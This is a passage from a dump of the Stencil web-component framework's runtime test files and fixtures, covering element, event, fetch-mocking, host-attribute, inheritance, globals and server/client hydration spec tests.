expect(nodeOrEleContent(specPage.root.firstChild.nextSibling)).toBe('<span>a default slot, slotted element</span>');\n    expect(nodeOrEleContent(specPage.root.firstChild.nextSibling.nextSibling)).toBe(``);\n    expect(nodeOrEleContent(specPage.root.firstChild.nextSibling.nextSibling.nextSibling)).toBe(\n      `<div slot=\\\"second-slot\\\"> a second slot, slotted element <span>nested element in the second slot<span></span></span></div>`,\n    );\n    // back we go!\n    expect(nodeOrEleContent(specPage.root.firstChild.nextSibling.nextSibling.nextSibling.previousSibling)).toBe(``);\n    expect(\n      nodeOrEleContent(specPage.root.firstChild.nextSibling.nextSibling.nextSibling.previousSibling.previousSibling),\n    ).toBe(`<span>a default slot, slotted element</span>`);\n    expect(\n      nodeOrEleContent(\n        specPage.root.firstChild.nextSibling.nextSibling.nextSibling.previousSibling.previousSibling.previousSibling,\n      ),\n    ).toBe(`Some default slot, slotted text`);\n  });\n\n  it('patches nextElementSibling / previousElementSibling accessors of slotted nodes', async () => {\n    specPage.root.childNodes.forEach((node: Node) => patchSlottedNode(node));\n    expect(nodeOrEleContent(specPage.root.children[0].nextElementSibling)).toBe(\n      '<div slot=\"second-slot\"> a second slot, slotted element <span>nested element in the second slot<span></span></span></div>',\n    );\n    expect(nodeOrEleContent(specPage.root.children[0].nextElementSibling.previousElementSibling)).toBe(\n      '<span>a default slot, slotted element</span>',\n    );\n  });\n\n  it('patches parentNode of slotted nodes', async () => {\n    specPage.root.childNodes.forEach((node: Node) => patchSlottedNode(node));\n    expect(specPage.root.children[0].parentNode.tagName).toBe('CMP-A');\n    expect(specPage.root.children[1].parentNode.tagName).toBe('CMP-A');\n    expect(specPage.root.childNodes[0].parentNode.tagName).toBe('CMP-A');\n    expect(specPage.root.childNodes[1].parentNode.tagName).toBe('CMP-A');\n    expect(specPage.root.children[0].__parentNode.tagName).toBe('DIV');\n    expect(specPage.root.childNodes[0].__parentNode.tagName).toBe('DIV');\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/element.spec.tsx",
    "content": "import { Component, Element, Method } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('element', () => {\n  it('allows the class to be set', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Element() el: HTMLElement;\n\n      @Method()\n      setClassNow() {\n        this.el.classList.add('new-class');\n      }\n    }\n    // @ts-ignore\n    const page = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(page.root).toEqualHtml(`\n      <cmp-a></cmp-a>\n    `);\n\n    await page.root.setClassNow();\n    await page.waitForChanges();\n\n    expect(page.root).toEqualHtml(`\n      <cmp-a class=\"new-class\"></cmp-a>\n    `);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/event.spec.tsx",
    "content": "import { Component, Element, Event, EventEmitter, h, Listen, Method, resolveVar, State } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('event', () => {\n  it('event normal ionChange event', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Event() ionChange: EventEmitter;\n\n      @State() counter = 0;\n\n      @Listen('ionChange')\n      onIonChange() {\n        this.counter++;\n      }\n\n      @Method()\n      emitEvent() {\n        const event = this.ionChange.emit();\n        expect(event.type).toEqual('ionChange');\n      }\n\n      render() {\n        return `${this.counter}`;\n      }\n    }\n\n    const page = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(page.root).toEqualHtml(`\n      <cmp-a>0</cmp-a>\n    `);\n\n    await page.root.emitEvent();\n    await page.waitForChanges();\n\n    expect(page.root).toEqualHtml(`\n      <cmp-a>1</cmp-a>\n    `);\n\n    let called = false;\n    page.root.addEventListener('ionChange', (ev: CustomEvent) => {\n      expect(ev.bubbles).toBe(true);\n      expect(ev.cancelable).toBe(true);\n      expect(ev.composed).toBe(true);\n      called = true;\n    });\n\n    await page.root.emitEvent();\n    await page.waitForChanges();\n\n    expect(called).toBe(true);\n    expect(page.root).toEqualHtml(`\n      <cmp-a>2</cmp-a>\n    `);\n  });\n\n  it('should set Event in constructor before users constructor statements', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      constructor() {\n        this.style.emit();\n      }\n      @Event() style: EventEmitter;\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a></cmp-a>\n    `);\n  });\n\n  it('should have custom name', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Event({ eventName: 'ionStyle' }) style: EventEmitter;\n      @State() counter = 0;\n\n      @Listen('ionStyle')\n      onIonStyle() {\n        this.counter++;\n      }\n\n      @Method()\n      emitEvent() {\n        this.style.emit();\n      }\n\n      render() {\n        return `${this.counter}`;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a>0</cmp-a>\n    `);\n\n    let called = false;\n    root.addEventListener('ionStyle', (ev: CustomEvent) => {\n      expect(ev.bubbles).toBe(true);\n      expect(ev.cancelable).toBe(true);\n      expect(ev.composed).toBe(true);\n      called = true;\n    });\n    await root.emitEvent();\n    await waitForChanges();\n\n    expect(called).toBe(true);\n    expect(root).toEqualHtml(`\n      <cmp-a>1</cmp-a>\n    `);\n  });\n\n  it('should have different default settings', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Event({\n        eventName: 'ionStyle',\n        bubbles: false,\n        composed: false,\n        cancelable: false,\n      })\n      style: EventEmitter;\n\n      @State() counter = 0;\n\n      @Listen('ionStyle')\n      onIonStyle() {\n        this.counter++;\n      }\n\n      @Method()\n      emitEvent() {\n        this.style.emit();\n      }\n\n      render() {\n        return `${this.counter}`;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a>0</cmp-a>\n    `);\n\n    let called = false;\n    root.addEventListener('ionStyle', (ev: CustomEvent) => {\n      expect(ev.bubbles).toBe(false);\n      expect(ev.cancelable).toBe(false);\n      expect(ev.composed).toBe(false);\n      called = true;\n    });\n    await root.emitEvent();\n    await waitForChanges();\n\n    expect(called).toBe(true);\n\n    expect(root).toEqualHtml(`\n      <cmp-a>1</cmp-a>\n    `);\n  });\n\n  describe('KeyboardEvent', () => {\n    it('can be dispatched', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @State() counter = 0;\n\n        @Listen('keydown')\n        onKeyDown() {\n          this.counter++;\n        }\n\n        render() {\n          return `${this.counter}`;\n        }\n      }\n\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a>0</cmp-a>\n      `);\n\n      const ev = new KeyboardEvent('keydown');\n      root.dispatchEvent(ev);\n      await waitForChanges();\n\n      expect(root).toEqualHtml(`\n        <cmp-a>1</cmp-a>\n      `);\n    });\n\n    it('can be dispatched with custom data', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @State() key: string;\n        @State() shift: string;\n\n        @Listen('keydown')\n        onKeyDown(ev: KeyboardEvent) {\n          this.key = ev.key;\n          this.shift = ev.shiftKey ? 'Yes' : 'No';\n        }\n\n        render() {\n          return `${this.key || ''} - ${this.shift || ''}`;\n        }\n      }\n\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a> - </cmp-a>\n      `);\n\n      const ev = new KeyboardEvent('keydown', { key: 'A', shiftKey: true });\n      root.dispatchEvent(ev);\n      await waitForChanges();\n\n      expect(root).toEqualHtml(`\n        <cmp-a>A - Yes</cmp-a>\n      `);\n    });\n  });\n\n  describe('MouseEvent', () => {\n    it('can be dispatched', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @State() counter = 0;\n\n        @Listen('onclick')\n        onClick() {\n          this.counter++;\n        }\n\n        render() {\n          return `${this.counter}`;\n        }\n      }\n\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a>0</cmp-a>\n      `);\n\n      const ev = new MouseEvent('onclick');\n      root.dispatchEvent(ev);\n      await waitForChanges();\n\n      expect(root).toEqualHtml(`\n        <cmp-a>1</cmp-a>\n      `);\n    });\n\n    it('can be dispatched with custom data', async () => {\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @State() screenX: string;\n        @State() shift: string;\n\n        @Listen('onclick')\n        onClick(ev: MouseEvent) {\n          this.screenX = ev.screenX.toString();\n          this.shift = ev.shiftKey ? 'Yes' : 'No';\n        }\n\n        render() {\n          return `${this.screenX || ''} - ${this.shift || ''}`;\n        }\n      }\n\n      const { root, waitForChanges } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(root).toEqualHtml(`\n        <cmp-a> - </cmp-a>\n      `);\n\n      const ev = new MouseEvent('onclick', { screenX: 99, shiftKey: true });\n      root.dispatchEvent(ev);\n      await waitForChanges();\n\n      expect(root).toEqualHtml(`\n        <cmp-a>99 - Yes</cmp-a>\n      `);\n    });\n  });\n\n  it('should prevent infinite recursion when blur event handler calls blur', async () => {\n    @Component({ tag: 'cmp-blur-recursion' })\n    class CmpBlurRecursion {\n      @Element() el!: HTMLElement;\n\n      @State() blurCount = 0;\n      @State() inputValue = '';\n\n      @Listen('blur')\n      handleBlur() {\n        this.blurCount++;\n        // This simulates the scenario where a blur handler\n        // tries to blur an input element\n        const input = this.el.querySelector('input');\n        if (input && this.blurCount < 5) {\n          // Only try to blur if we haven't reached our limit\n          // This prevents the test from running forever if the fix doesn't work\n          input.blur();\n        }\n      }\n\n      @Method()\n      async triggerBlur() {\n        const input = this.el.querySelector('input');\n        if (input) {\n          input.blur();\n        }\n      }\n\n      render() {\n        return h(\n          'div',\n          null,\n          h('input', {\n            value: this.inputValue,\n            onInput: (e: any) => (this.inputValue = (e.target as HTMLInputElement).value),\n          }),\n          h('div', null, `Blur count: ${this.blurCount}`),\n        );\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpBlurRecursion],\n      html: `<cmp-blur-recursion></cmp-blur-recursion>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-blur-recursion>\n        <div>\n          <input value=\"\">\n          <div>Blur count: 0</div>\n        </div>\n      </cmp-blur-recursion>\n    `);\n\n    // Trigger the blur event that should NOT cause infinite recursion\n    await root.triggerBlur();\n    await waitForChanges();\n\n    // The blur count should be 1, not cause infinite recursion\n    expect(root).toEqualHtml(`\n      <cmp-blur-recursion>\n        <div>\n          <input value=\"\">\n          <div>Blur count: 1</div>\n        </div>\n      </cmp-blur-recursion>\n    `);\n  });\n\n  describe('resolveVar', () => {\n    it('should emit event with resolved const variable name', async () => {\n      const MY_EVENT = 'myEvent';\n\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Event({ eventName: resolveVar(MY_EVENT) }) myEvent: EventEmitter;\n        @State() counter = 0;\n\n        @Listen(resolveVar(MY_EVENT))\n        onMyEvent() {\n          this.counter++;\n        }\n\n        @Method()\n        emitEvent() {\n          this.myEvent.emit();\n        }\n\n        render() {\n          return `${this.counter}`;\n        }\n      }\n\n      const page = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(page.root).toEqualHtml(`\n        <cmp-a>0</cmp-a>\n      `);\n\n      await page.root.emitEvent();\n      await page.waitForChanges();\n\n      expect(page.root).toEqualHtml(`\n        <cmp-a>1</cmp-a>\n      `);\n    });\n\n    it('should emit event with resolved object property name', async () => {\n      const EVENTS = {\n        MY_EVENT: 'myEvent',\n      } as const;\n\n      @Component({ tag: 'cmp-a' })\n      class CmpA {\n        @Event({ eventName: resolveVar(EVENTS.MY_EVENT) }) myEvent: EventEmitter;\n        @State() counter = 0;\n\n        @Listen(resolveVar(EVENTS.MY_EVENT))\n        onMyEvent() {\n          this.counter++;\n        }\n\n        @Method()\n        emitEvent() {\n          this.myEvent.emit();\n        }\n\n        render() {\n          return `${this.counter}`;\n        }\n      }\n\n      const page = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(page.root).toEqualHtml(`\n        <cmp-a>0</cmp-a>\n      `);\n\n      await page.root.emitEvent();\n      await page.waitForChanges();\n\n      expect(page.root).toEqualHtml(`\n        <cmp-a>1</cmp-a>\n      `);\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/extends-basic.spec.tsx",
    "content": "import { Component, h, Prop, Watch } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndeclare global {\n  namespace JSX {\n    interface IntrinsicElements {\n      [elemName: string]: any;\n    }\n  }\n}\n\ndescribe('extends', () => {\n  it('renders a component that extends from a base class', async () => {\n    class Base {\n      baseProp = 'base';\n    }\n    @Component({ tag: 'cmp-a' })\n    class CmpA extends Base {\n      render() {\n        return `${this.baseProp}`;\n      }\n    }\n\n    const page = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(page.root).toEqualHtml(`\n      <cmp-a>base</cmp-a>\n    `);\n  });\n\n  it('should call inherited watch methods when props change', async () => {\n    let called = 0;\n\n    class BaseWatch {\n      @Prop() foo: string;\n\n      @Watch('foo')\n      fooChanged() {\n        called++;\n      }\n    }\n\n    @Component({ tag: 'extended-component' })\n    class ExtendedComponent extends BaseWatch {\n      render() {\n        return <div>{this.foo}</div>;\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [ExtendedComponent],\n      html: `<extended-component></extended-component>`,\n    });\n\n    expect(called).toBe(0);\n\n    root.foo = '1';\n\n    expect(called).toBe(1);\n    expect(root.foo).toBe('1');\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/fetch.spec.tsx",
    "content": "import { Component, h, Host, Prop } from '@stencil/core';\nimport { mockFetch, MockHeaders, MockResponse, newSpecPage } from '@stencil/core/testing';\n\ndescribe('fetch', () => {\n  afterEach(() => {\n    mockFetch.reset();\n  });\n\n  @Component({\n    tag: 'cmp-a',\n  })\n  class CmpA {\n    @Prop() data: string;\n    names: string[];\n    text: string;\n    headers: string[];\n\n    async componentWillLoad() {\n      const url = `/${this.data}`;\n      const rsp = await fetch(url);\n\n      this.headers = [];\n      rsp.headers.forEach((v, k) => {\n        this.headers.push(k + ': ' + v);\n      });\n\n      if (url.endsWith('.json')) {\n        const data = await rsp.json();\n        this.text = null;\n        this.names = data.names;\n      } else {\n        this.text = await rsp.text();\n        this.names = null;\n      }\n    }\n    render() {\n      return (\n        <Host>\n          <ul>\n            {this.headers.map((n) => (\n              <li>{n}</li>\n            ))}\n          </ul>\n          {this.names ? (\n            <ul>\n              {this.names.map((n) => (\n                <li>{n}</li>\n              ))}\n            </ul>\n          ) : null}\n          {this.text ? <p>{this.text}</p> : null}\n        </Host>\n      );\n    }\n  }\n\n  it('should mock json fetch, no input', async () => {\n    mockFetch.json({ names: ['Marty', 'Doc'] });\n\n    const page = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a data=\"hillvalley.json\"></cmp-a>`,\n    });\n\n    expect(page.root).toEqualHtml(`\n      <cmp-a data=\"hillvalley.json\">\n        <ul>\n          <li>\n            content-type: application/json\n          </li>\n        </ul>\n        <ul>\n          <li>Marty</li>\n          <li>Doc</li>\n        </ul>\n      </cmp-a>\n    `);\n  });\n\n  it('should mock json fetch, url input', async () => {\n    mockFetch.json({ names: ['Marty', 'Doc'] }, '/hillvalley.json');\n    mockFetch.json({ names: ['Bo', 'Luke'] }, '/hazzard.json');\n\n    const page = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a data=\"hazzard.json\"></cmp-a>`,\n    });\n\n    expect(page.root).toEqualHtml(`\n      <cmp-a data=\"hazzard.json\">\n        <ul>\n          <li>\n            content-type: application/json\n          </li>\n        </ul>\n        <ul>\n          <li>Bo</li>\n          <li>Luke</li>\n        </ul>\n      </cmp-a>\n    `);\n  });\n\n  it('basic', async () => {\n    mockFetch.json({ names: ['Marty', 'Doc'] }, '/hillvalley.json');\n    mockFetch.json({ names: ['Bo', 'Luke'] }, '/hazzard.json');\n\n    const page = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a data=\"hazzard.json\"></cmp-a>`,\n    });\n\n    expect(page.root).toEqualHtml(`\n      <cmp-a data=\"hazzard.json\">\n      <ul>\n        <li>\n          content-type: application/json\n        </li>\n      </ul>\n        <ul>\n          <li>Bo</li>\n          <li>Luke</li>\n        </ul>\n      </cmp-a>\n    `);\n  });\n\n  it('MockRequest text', async () => {\n    const res = new MockResponse('10:04', {\n      url: '/hillvalley.txt',\n      headers: new MockHeaders([\n        ['Content-Type', 'text/plain'],\n        ['Access-Control-Allow-Origin', '*'],\n      ]),\n    });\n    mockFetch.response(res);\n\n    const page = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a data=\"hillvalley.txt\"></cmp-a>`,\n    });\n\n    expect(page.root).toEqualHtml(`\n      <cmp-a data=\"hillvalley.txt\">\n        <ul>\n          <li>\n            content-type: text/plain\n          </li>\n          <li>\n            access-control-allow-origin: *\n          </li>\n        </ul>\n        <p>\n          10:04\n        </p>\n      </cmp-a>\n    `);\n  });\n\n  it('404', async () => {\n    const page = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a data=\"no-findy.txt\"></cmp-a>`,\n    });\n\n    expect(page.root).toEqualHtml(`\n      <cmp-a data=\"no-findy.txt\">\n        <ul>\n          <li>\n            content-type: text/plain\n          </li>\n        </ul>\n        <p>\n          Not Found\n        </p>\n      </cmp-a>\n    `);\n  });\n\n  it('global Request/Response/Headers should work', () => {\n    const headers = new Headers();\n    headers.set('x-header', 'value');\n    const request = new Request('http://testing.stenciljs.com/some-url', {\n      headers,\n    });\n    expect(request.url).toBe('http://testing.stenciljs.com/some-url');\n    expect(request.headers.get('x-header')).toBe('value');\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/fixtures/cmp-a.css",
    "content": "\n:host {\n  color: red;\n}\n"
  },
  {
    "path": "src/runtime/test/fixtures/cmp-a.tsx",
    "content": "import { Component, Event, EventEmitter, h, Listen, Method, Prop, State, Watch } from '@stencil/core';\n\nimport { format } from './utils';\n\n@Component({\n  tag: 'cmp-a',\n  styleUrl: 'cmp-a.css',\n  shadow: true,\n})\nexport class CmpA {\n  // ************************\n  // * Property Definitions *\n  // ************************\n\n  /**\n   * The first name\n   */\n  @Prop() first: string;\n\n  /**\n   * The middle name\n   */\n  @Prop() middle: string;\n\n  /**\n   * The last name\n   */\n  @Prop() last: string;\n\n  // ************************\n  // * State Definitions *\n  // ************************\n\n  @State() innerFirst: string;\n  @State() innerMiddle: string;\n  @State() innerLast: string;\n\n  // *****************************\n  // * Watch on Property Changes *\n  // *****************************\n\n  @Watch('first')\n  parseFirstProp(newValue: string) {\n    this.innerFirst = newValue ? newValue : '';\n  }\n  @Watch('middle')\n  parseMiddleProp(newValue: string) {\n    this.innerMiddle = newValue ? newValue : '';\n  }\n  @Watch('last')\n  parseLastProp(newValue: string) {\n    this.innerLast = newValue ? newValue : '';\n  }\n\n  // *********************\n  // * Event Definitions *\n  // *********************\n\n  /**\n   * Emitted when the component Loads\n   */\n  @Event() initevent: EventEmitter;\n\n  // *******************************\n  // * Listen to Event Definitions *\n  // *******************************\n\n  @Listen('testevent', { target: 'document' })\n  handleTestEvent(event: CustomEvent) {\n    this.parseLastProp(event.detail.last ? event.detail.last : '');\n  }\n\n  // **********************\n  // * Method Definitions *\n  // **********************\n\n  @Method()\n  init(): Promise<void> {\n    return Promise.resolve(this._init());\n  }\n\n  // *********************************\n  // * Internal Variable Definitions *\n  // *********************************\n\n  // *******************************\n  // * Component Lifecycle Methods *\n  // *******************************\n\n  async componentWillLoad() {\n    await this.init();\n  }\n\n  // ******************************\n  // * Private Method Definitions *\n  // ******************************\n\n  private async _init(): Promise<void> {\n    this.parseFirstProp(this.first ? this.first : '');\n    this.parseMiddleProp(this.middle ? this.middle : '');\n    this.parseLastProp(this.last ? this.last : '');\n    this.initevent.emit({ init: true });\n    return;\n  }\n\n  private getText(): string {\n    return format(this.innerFirst, this.innerMiddle, this.innerLast);\n  }\n\n  // *************************\n  // * Rendering JSX Element *\n  // *************************\n\n  render() {\n    return <div>Hello, World! I'm {this.getText()}</div>;\n  }\n}\n"
  },
  {
    "path": "src/runtime/test/fixtures/cmp-asset.tsx",
    "content": "import { Component, getAssetPath, h, Host, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-asset',\n})\nexport class CmpAsset {\n  @Prop() icon: string;\n\n  render() {\n    return (\n      <Host>\n        <img src={getAssetPath(`assets/icons/${this.icon}.png`)} />\n        <img src={getAssetPath(`https://google.com/`)} />\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "src/runtime/test/fixtures/utils.ts",
    "content": "export function format(first: string, middle: string, last: string): string {\n  return (first || '') + (middle ? ` ${middle}` : '') + (last ? ` ${last}` : '');\n}\n"
  },
  {
    "path": "src/runtime/test/globals.spec.tsx",
    "content": "import { Build, Component, Env } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('globals', () => {\n  @Component({\n    tag: 'cmp-a',\n  })\n  class CmpA {}\n\n  // eslint-disable-next-line jest/expect-expect -- there's not a great way to `expect()` that `raf()` and `setTimeout()` do not throw here\n  it('should resolve raf and setTimeout', async () => {\n    const page = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n      autoApplyChanges: true,\n    });\n    await new Promise((resolve) => {\n      requestAnimationFrame(() => {\n        page.win.requestAnimationFrame(() => {\n          setTimeout(() => {\n            page.win.setTimeout(() => {\n              resolve();\n            }, 10);\n          }, 10);\n        });\n      });\n    });\n  });\n\n  it('allows access to window.JSON', async () => {\n    expect(JSON.stringify([0])).toEqual('[0]');\n    expect((window as any).JSON.stringify([0])).toEqual('[0]');\n  });\n\n  it('build values', () => {\n    expect(Build.isBrowser).toBe(false);\n    expect(Build.isDev).toBe(true);\n    expect(Build.isTesting).toBe(true);\n    expect(Build.isServer).toBe(true);\n  });\n\n  it('Env is defined', () => {\n    expect(Env).toEqual({});\n  });\n\n  describe('globals/prototypes', () => {\n    let page: any;\n    beforeEach(async () => {\n      @Component({ tag: 'cmp-el' })\n      class CmpEl {\n        // @ts-ignore\n        protoEl: any;\n        protoNode: any;\n        protoNodeList: any;\n\n        constructor() {\n          this.protoEl = Element.prototype;\n          this.protoNode = Node.prototype;\n          this.protoNodeList = NodeList.prototype;\n        }\n      }\n\n      page = await newSpecPage({\n        components: [CmpEl],\n        html: `<cmp-el></cmp-el>`,\n      });\n    });\n\n    it('allows access to the Node prototype', async () => {\n      expect(page.rootInstance.protoNode).toEqual(Node.prototype);\n      expect(page.rootInstance.protoNode).toEqual((page.win as any).Node.prototype);\n      expect(page.rootInstance.protoNode).toEqual((window as any).Node.prototype);\n      expect(page.rootInstance.protoNode).toEqual((global as any).Node.prototype);\n      expect(page.rootInstance.protoNode).toBeTruthy();\n    });\n\n    it('allows access to the NodeList prototype', async () => {\n      expect(page.rootInstance.protoNodeList).toEqual(NodeList.prototype);\n      expect(page.rootInstance.protoNodeList).toEqual((page.win as any).NodeList.prototype);\n      expect(page.rootInstance.protoNodeList).toEqual((window as any).NodeList.prototype);\n      expect(page.rootInstance.protoNodeList).toEqual((global as any).NodeList.prototype);\n      expect(page.rootInstance.protoNodeList).toBeTruthy();\n    });\n\n    it('allows access to the Element prototype', async () => {\n      expect(page.rootInstance.protoEl).toEqual(Element.prototype);\n      expect(page.rootInstance.protoEl).toEqual((page.win as any).Element.prototype);\n      expect(page.rootInstance.protoEl).toEqual((window as any).Element.prototype);\n      expect(page.rootInstance.protoEl).toEqual((global as any).Element.prototype);\n      expect(page.rootInstance.protoEl).toBeTruthy();\n    });\n\n    it('allows access to the KeyboardEvent', async () => {\n      expect(window.KeyboardEvent).toEqual(KeyboardEvent);\n      expect(global.KeyboardEvent).toEqual(KeyboardEvent);\n      expect(page.rootInstance.protoEl).toEqual((page.win as any).Element.prototype);\n      expect(page.rootInstance.protoEl).toEqual((window as any).Element.prototype);\n      expect(page.rootInstance.protoEl).toEqual((global as any).Element.prototype);\n      expect(page.rootInstance.protoEl).toBeTruthy();\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/host.spec.tsx",
    "content": "import { Component, h, Host, Prop, State } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('hostData', () => {\n  it('render hostData() attributes', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() hidden = false;\n\n      hostData() {\n        return {\n          value: 'somevalue',\n          role: 'alert',\n          'aria-hidden': this.hidden ? 'true' : null,\n          hidden: this.hidden,\n        };\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n    expect(root).toEqualHtml(`\n      <cmp-a role=\"alert\" value=\"somevalue\"></cmp-a>\n    `);\n\n    root.hidden = true;\n    await waitForChanges();\n\n    expect(root).toEqualHtml(`\n      <cmp-a role=\"alert\" aria-hidden=\"true\" value=\"somevalue\" hidden></cmp-a>\n    `);\n  });\n\n  it('render <host> attributes', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() hidden = false;\n\n      render() {\n        return <Host value=\"hello\" role=\"alert\" aria-hidden={this.hidden ? 'true' : null} hidden={this.hidden} />;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n    expect(root).toEqualHtml(`\n      <cmp-a role=\"alert\" value=\"hello\"></cmp-a>\n    `);\n\n    root.hidden = true;\n    await waitForChanges();\n\n    expect(root).toEqualHtml(`\n      <cmp-a role=\"alert\" value=\"hello\" aria-hidden=\"true\" hidden></cmp-a>\n    `);\n  });\n\n  it('register <Host> listeners', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @State() count = 0;\n\n      render() {\n        return (\n          <Host>\n            <span>{this.count}</span>\n            <cmp-b onClick={() => this.count++}></cmp-b>\n          </Host>\n        );\n      }\n    }\n\n    @Component({ tag: 'cmp-b' })\n    class CmpB {\n      @State() count = 0;\n\n      render() {\n        return <Host onClick={() => this.count++}>{this.count}</Host>;\n      }\n    }\n\n    const { doc, root, waitForChanges } = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n    });\n    expect(root).toEqualHtml(`\n      <cmp-a><span>0</span><cmp-b>0</cmp-b></cmp-a>\n    `);\n\n    (doc.querySelector('cmp-b') as any).click();\n    await waitForChanges();\n\n    expect(root).toEqualHtml(`\n    <cmp-a><span>1</span><cmp-b>1</cmp-b></cmp-a>\n    `);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/hydrate-no-encapsulation.spec.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('hydrate no encapsulation', () => {\n  it('no script annotations', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <script>console.log('script')</script>\n          </Host>\n        );\n      }\n    }\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <script c-id=\"1.0.0.0\">console.log('script')</script>\n      </cmp-a>\n    `);\n  });\n\n  it('root element, no slot', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <p class=\"hi\">Hello</p>\n          </Host>\n        );\n      }\n    }\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <p c-id=\"1.0.0.0\" class=\"hi\">\n          <!--t.1.1.1.0-->\n          Hello\n        </p>\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n    expect(clientHydrated.root['s-id']).toBe('1');\n    expect(clientHydrated.root['s-cr'].nodeType).toBe(8);\n    expect(clientHydrated.root['s-cr']['s-cn']).toBe(true);\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <p class=\"hi\">\n          Hello\n        </p>\n      </cmp-a>\n    `);\n  });\n\n  it('root text, no slot', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return <Host>Hello</Host>;\n      }\n    }\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--t.1.0.0.0-->\n        Hello\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: 